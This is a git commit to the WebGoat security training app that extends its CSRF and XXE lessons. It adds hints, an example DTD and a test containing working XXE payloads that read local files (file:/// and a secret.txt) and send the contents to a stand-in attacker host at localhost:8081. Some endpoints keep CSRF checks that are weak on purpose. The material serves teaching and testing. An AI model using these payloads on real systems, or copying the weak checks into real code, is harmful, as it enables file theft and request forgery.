Extended and fixed some lessons

This commit is contained in:
Nanne Baars 2018-05-27 20:37:44 +02:00
parent d2b6725f3b
commit 1edceb0aa8
16 changed files with 152 additions and 168 deletions

View File

@ -14,19 +14,23 @@ import org.springframework.web.bind.annotation.ResponseBody;
*/ */
@AssignmentPath("/csrf/confirm-flag-1") @AssignmentPath("/csrf/confirm-flag-1")
@AssignmentHints({"csrf-get.hint1","csrf-get.hint2","csrf-get.hint3","csrf-get.hint4"}) @AssignmentHints({"csrf-get.hint1", "csrf-get.hint2", "csrf-get.hint3", "csrf-get.hint4"})
public class CSRFConfirmFlag1 extends AssignmentEndpoint { public class CSRFConfirmFlag1 extends AssignmentEndpoint {
@Autowired @Autowired
UserSessionData userSessionData; UserSessionData userSessionData;
@PostMapping(produces = {"application/json"}) @PostMapping(produces = {"application/json"})
public @ResponseBody AttackResult completed(String confirmFlagVal) { public @ResponseBody
AttackResult completed(String confirmFlagVal) {
if (confirmFlagVal.equals(userSessionData.getValue("csrf-get-success").toString())) { Object userSessionDataStr = userSessionData.getValue("csrf-get-success");
return success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build(); if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())) {
return trackProgress(
success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build()
);
} }
return failed().feedback("").build(); return trackProgress(failed().build());
} }
} }

View File

@ -64,8 +64,12 @@ public class CSRFFeedback extends AssignmentEndpoint {
private boolean hostOrRefererDifferentHost(HttpServletRequest request) { private boolean hostOrRefererDifferentHost(HttpServletRequest request) {
String referer = request.getHeader("referer"); String referer = request.getHeader("referer");
String host = request.getHeader("host"); String origin = request.getHeader("origin");
return !StringUtils.contains(referer, host); if (referer != null) {
return !referer.contains(origin);
} else {
return true; //this case referer is null or origin does not matter we cannot compare so we return true which should of course be false
}
} }
private boolean requestContainsWebGoatCookie(Cookie[] cookies) { private boolean requestContainsWebGoatCookie(Cookie[] cookies) {

View File

@ -31,7 +31,7 @@ public class CSRFGetFlag extends Endpoint {
@ResponseBody @ResponseBody
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Map<String,Object> response = new HashMap<>(); Map<String, Object> response = new HashMap<>();
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host"); String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin"); // String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
@ -40,12 +40,22 @@ public class CSRFGetFlag extends Endpoint {
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer"); String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
String[] refererArr = referer.split("/"); String[] refererArr = referer.split("/");
if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) {
if (referer.equals("NULL")) {
if (req.getParameter("csrf").equals("true")) {
Random random = new Random(); Random random = new Random();
userSessionData.setValue("csrf-get-success", random.nextInt(65536)); userSessionData.setValue("csrf-get-success", random.nextInt(65536));
response.put("success",true); response.put("success", true);
response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success")); response.put("message", pluginMessages.getMessage("csrf-get-null-referer.success"));
response.put("flag",userSessionData.getValue("csrf-get-success")); response.put("flag", userSessionData.getValue("csrf-get-success"));
} else {
Random random = new Random();
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
response.put("success", true);
response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success"));
response.put("flag", userSessionData.getValue("csrf-get-success"));
}
} else if (refererArr[2].equals(host)) { } else if (refererArr[2].equals(host)) {
response.put("success", false); response.put("success", false);
response.put("message", "Appears the request came from the original host"); response.put("message", "Appears the request came from the original host");
@ -53,9 +63,9 @@ public class CSRFGetFlag extends Endpoint {
} else { } else {
Random random = new Random(); Random random = new Random();
userSessionData.setValue("csrf-get-success", random.nextInt(65536)); userSessionData.setValue("csrf-get-success", random.nextInt(65536));
response.put("success",true); response.put("success", true);
response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success")); response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success"));
response.put("flag",userSessionData.getValue("csrf-get-success")); response.put("flag", userSessionData.getValue("csrf-get-success"));
} }
return response; return response;

View File

@ -1,69 +0,0 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.Endpoint;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Random;
/**
* Created by jason on 9/30/17.
*/
public class CSRFGetXhrFlag extends Endpoint {
@Autowired
UserSessionData userSessionData;
@Autowired
private PluginMessages pluginMessages;
@RequestMapping(produces = {"application/json"}, method = RequestMethod.GET)
@ResponseBody
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Map<String,Object> response = new HashMap<>();
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort();
// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName();
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
String[] refererArr = referer.split("/");
if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) {
Random random = new Random();
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
response.put("success",true);
response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success"));
response.put("flag",userSessionData.getValue("csrf-get-success"));
} else if (refererArr[2].equals(host)) {
response.put("success", false);
response.put("message", "Appears the request came from the original host");
response.put("flag", null);
} else {
Random random = new Random();
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
response.put("success",true);
response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success"));
response.put("flag",userSessionData.getValue("csrf-get-success"));
}
return response;
}
@Override
public String getPath() {
return "/csrf/get-xhr-flag";
}
}

View File

@ -115,22 +115,13 @@ public class ForgedReviews extends AssignmentEndpoint {
userReviews.put(webSession.getUserName(), reviews); userReviews.put(webSession.getUserName(), reviews);
//short-circuit //short-circuit
if (validateReq == null || !validateReq.equals(weakAntiCSRF)) { if (validateReq == null || !validateReq.equals(weakAntiCSRF)) {
return failed().feedback("csrf-you-forgot-something").build(); return trackProgress(failed().feedback("csrf-you-forgot-something").build());
} }
//we have the spoofed files //we have the spoofed files
if (referer != "NULL" && refererArr[2].equals(host) ) { if (referer != "NULL" && refererArr[2].equals(host) ) {
return (failed().feedback("csrf-same-host").build()); return trackProgress(failed().feedback("csrf-same-host").build());
} else { } else {
return (success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure") return trackProgress(success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure")
}
}
private Review parseJson(String comment) {
ObjectMapper mapper = new ObjectMapper();
try {
return mapper.readValue(comment, Review.class);
} catch (IOException e) {
return new Review();
} }
} }
} }

View File

@ -15,6 +15,7 @@
<form accept-charset="UNKNOWN" id="basic-csrf-get" <form accept-charset="UNKNOWN" id="basic-csrf-get"
method="GET" name="form1" method="GET" name="form1"
target="_blank"
successCallback="" successCallback=""
action="/WebGoat/csrf/basic-get-flag" action="/WebGoat/csrf/basic-get-flag"
enctype="application/json;charset=UTF-8"> enctype="application/json;charset=UTF-8">
@ -26,10 +27,12 @@
<div class="adoc-content" th:replace="doc:CSRF_Basic_Get-1.adoc"></div> <div class="adoc-content" th:replace="doc:CSRF_Basic_Get-1.adoc"></div>
<div class="attack-container"> <div class="attack-container">
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
<div class="assignment-success"> <div class="assignment-success">
<i class="fa fa-2 fa-check hidden" aria-hidden="true"> <i class="fa fa-2 fa-check hidden" aria-hidden="true">
</i> </i>
</div> </div>
<br/>
<form class="attack-form" accept-charset="UNKNOWN" id="confirm-flag-1" <form class="attack-form" accept-charset="UNKNOWN" id="confirm-flag-1"
method="POST" name="form2" method="POST" name="form2"
successCallback="" successCallback=""
@ -40,7 +43,10 @@
<input type="text" length="6" name="confirmFlagVal" value=""/> <input type="text" length="6" name="confirmFlagVal" value=""/>
<input name="submit" value="Submit" type="submit"/> <input name="submit" value="Submit" type="submit"/>
<br/>
<br/>
<br/>
<br/>
</form> </form>
<div class="attack-feedback"></div> <div class="attack-feedback"></div>
@ -56,9 +62,9 @@
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/reviews.css}"/> <link rel="stylesheet" type="text/css" th:href="@{/lesson_css/reviews.css}"/>
<script th:src="@{/lesson_js/csrf-review.js}" language="JavaScript"></script> <script th:src="@{/lesson_js/csrf-review.js}" language="JavaScript"></script>
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="attack-container"> <div class="attack-container">
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid"> <div class="container-fluid">
<div class="panel post"> <div class="panel post">
<div class="post-heading"> <div class="post-heading">
@ -133,6 +139,7 @@
padding: 7px; padding: 7px;
margin-top:7px; margin-top:7px;
padding:5px;"> padding:5px;">
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div> <div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid"> <div class="container-fluid">
<div class="row"> <div class="row">
@ -165,7 +172,8 @@
<div class="form-group"> <div class="form-group">
<label for="subject"> <label for="subject">
Subject</label> Subject</label>
<select id="subject" name="subject" class="form-control" required="required"> <select id="subject" name="subject" class="form-control"
required="required">
<option value="na" selected="">Choose One:</option> <option value="na" selected="">Choose One:</option>
<option value="service">General Customer Service</option> <option value="service">General Customer Service</option>
<option value="suggestions">Suggestions</option> <option value="suggestions">Suggestions</option>
@ -177,7 +185,8 @@
<div class="form-group"> <div class="form-group">
<label for="name"> <label for="name">
Message</label> Message</label>
<textarea name="message" id="message" class="form-control" rows="9" cols="25" <textarea name="message" id="message" class="form-control" rows="9"
cols="25"
required="required" required="required"
placeholder="Message"></textarea> placeholder="Message"></textarea>
</div> </div>
@ -193,6 +202,9 @@
</div> </div>
</div> </div>
</div> </div>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div> </div>
<div class="attack-container"> <div class="attack-container">
@ -211,7 +223,6 @@
<input name="submit" value="Submit" type="submit"/> <input name="submit" value="Submit" type="submit"/>
</form> </form>
<div class="attack-feedback"></div> <div class="attack-feedback"></div>
<div class="attack-output"></div> <div class="attack-output"></div>
</div> </div>

View File

@ -13,9 +13,14 @@ match and this will ensure the server the request is running on the same domain.
Remember the session cookie should always be defined with http-only flag. Remember the session cookie should always be defined with http-only flag.
Another effective defense can be to add a custom request header to each call. This will work if all the interactions == Custom headers not safe
Another defense can be to add a custom request header to each call. This will work if all the interactions
with the server are performed with JavaScript. On the server side you only need to check the presence of this header with the server are performed with JavaScript. On the server side you only need to check the presence of this header
if this header is not present deny the request. if this header is not present deny the request.
Some frameworks offer this implementation by default however researcer Alex Infuhr found out that this can be bypassed
as well. You can read about: http://insert-blogspot.nl/2018/05/adobe-reader-pdf-client-side-request.html?m=1[Adobe Reader PDF - Client Side Request Injection]

View File

@ -4,7 +4,20 @@ The impact is limited only by what the logged in user can do (if the site/functi
The areas that are really prone to CSRF attacks are IoT devices and 'smart' appliances. Sadly, many consumer-grade routers The areas that are really prone to CSRF attacks are IoT devices and 'smart' appliances. Sadly, many consumer-grade routers
have also proven vulnerable to CSRF. have also proven vulnerable to CSRF.
== CSRF Solution == CSRF solutions
=== Same site cookie attribute
This is a new extension which modern browsers support which limits the scope of the cookie such that it will only be
attached to requests if those requests are 'same-site'
For example requests for `http://webgoat.org/something` will attach same-site cookies if the request is initiated from
`webgoat.org`.
There are two modes, strict and lax. The first one does not allow cross site request, this means when you are on
github.com and you want to like it through Facebook (and Facebook specifies same-site as strict) you will be
redirected to the login page, because the browser does not attach the cookie for Facebook.
More information can be found here: www.sjoerdlangkemper.nl/2016/04/14/preventin-csrf-with-samesite-cookie-attribute/
=== Other protections
Fortunately, many (web) application frameworks now come with built in support to handle CSRF attacks. For example, Spring and Fortunately, many (web) application frameworks now come with built in support to handle CSRF attacks. For example, Spring and
Tomcat have this on by default. As long as you don't turn it off (like it is in WebGoat), you should be safe from CSRF attacks. Tomcat have this on by default. As long as you don't turn it off (like it is in WebGoat), you should be safe from CSRF attacks.

View File

@ -46,13 +46,10 @@ public class CSRFFeedbackTest extends LessonTest {
mockMvc.perform(post("/csrf/feedback/message") mockMvc.perform(post("/csrf/feedback/message")
.contentType(MediaType.TEXT_PLAIN) .contentType(MediaType.TEXT_PLAIN)
.cookie(new Cookie("JSESSIONID", "test")) .cookie(new Cookie("JSESSIONID", "test"))
.header("host", "localhost:8080") .header("origin", "localhost:8080")
.header("referer", "webgoat.org") .header("referer", "webgoat.org")
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}")) .content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
.andExpect(jsonPath("lessonCompleted", is(true))) .andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("feedback", StringContains.containsString("the flag is: "))); .andExpect(jsonPath("feedback", StringContains.containsString("the flag is: ")));
} }
} }

View File

@ -4,6 +4,7 @@ import com.google.common.base.Charsets;
import com.google.common.io.Files; import com.google.common.io.Files;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
@ -49,6 +50,7 @@ import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
* @since November 18, 2016 * @since November 18, 2016
*/ */
@AssignmentPath("xxe/blind") @AssignmentPath("xxe/blind")
@AssignmentHints({"xxe.blind.hints.1","xxe.blind.hints.2","xxe.blind.hints.3","xxe.blind.hints.4","xxe.blind.hints.5"})
public class BlindSendFileAssignment extends AssignmentEndpoint { public class BlindSendFileAssignment extends AssignmentEndpoint {
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")"; static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";

View File

@ -51,7 +51,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.POST;
* @since 4/8/17. * @since 4/8/17.
*/ */
@AssignmentPath("xxe/simple") @AssignmentPath("xxe/simple")
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4"}) @AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"})
public class SimpleXXE extends AssignmentEndpoint { public class SimpleXXE extends AssignmentEndpoint {
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};

View File

@ -30,9 +30,17 @@ xxe.content.output=Welcome {0} you can now login to our website
xxe.blind.output=Contents of the file is: {0} xxe.blind.output=Contents of the file is: {0}
xxe.hints.simple.xxe.1=Try submitting the form and see what happens xxe.hints.simple.xxe.1=Try submitting the form and see what happens
xxe.hints.simple.xxe.2=XXE stands for XML External Entity attack xxe.hints.simple.xxe.2=Use ZAP/Burp to intercept the request and try to include your own DTD
xxe.hints.simple.xxe.3=Try to include your own DTD xxe.hints.simple.xxe.3=Try to include a doctype "(&lt;!DOCTYPE...)" in the xml
xxe.hints.simple.xxe.4=Try to include a doctype "(&lt;!DOCTYPE...)" in the xml xxe.hints.simple.xxe.4=The include can be as follows: &lt;!DOCTYPE user [&lt;!ENTITY root SYSTEM "file:///"&gt; ]>
xxe.hints.simple.xxe.5=Do not forget to reference the entity
xxe.hints.simple.xxe.6=In the comment you should references: &lt;comment&gt;&lt;text&gt;&root;test&lt;/text&gt;&lt;/comment&gt;
xxe.hints.content.type.xxe.1=Take a look at the content type xxe.hints.content.type.xxe.1=Take a look at the content type
xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages? xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages?
xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case)
xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities.
xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment
xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: &lt;?xml version="1.0"?&gt;&lt;!DOCTYPE comment [&lt;!ENTITY % remote SYSTEM "http://localhost:8081/files/test1234/test.dtd"&gt;%remote;]&gt;&lt;comment&gt;&lt;text&gt;test&send;&lt;/text&gt;&lt;/comment&gt;

View File

@ -0,0 +1,5 @@
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:/home/nbaars/.webgoat-v8.0.0.M14/XXE/secret.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>">
%all;
~

View File

@ -3,5 +3,5 @@
In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about. In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about.
So this might result in JSON endpoints being vulnerable to XXE attacks. So this might result in JSON endpoints being vulnerable to XXE attacks.
Again same exercise but try to perform the same XML injection as we did in first assigment. Again same exercise but try to perform the same XML injection as we did in first assignment.

View File

@ -71,6 +71,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
@Test @Test
public void solve() throws Exception { public void solve() throws Exception {
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt"); File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
//Host DTD on WebWolf site
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" + "<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" + "<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" +
@ -80,6 +81,8 @@ public class BlindSendFileAssignmentTest extends LessonTest {
.withStatus(200) .withStatus(200)
.withBody(dtd))); .withBody(dtd)));
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200))); webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
//Make the request from WebGoat
String xml = "<?xml version=\"1.0\"?>" + String xml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE comment [" + "<!DOCTYPE comment [" +
"<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" + "<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" +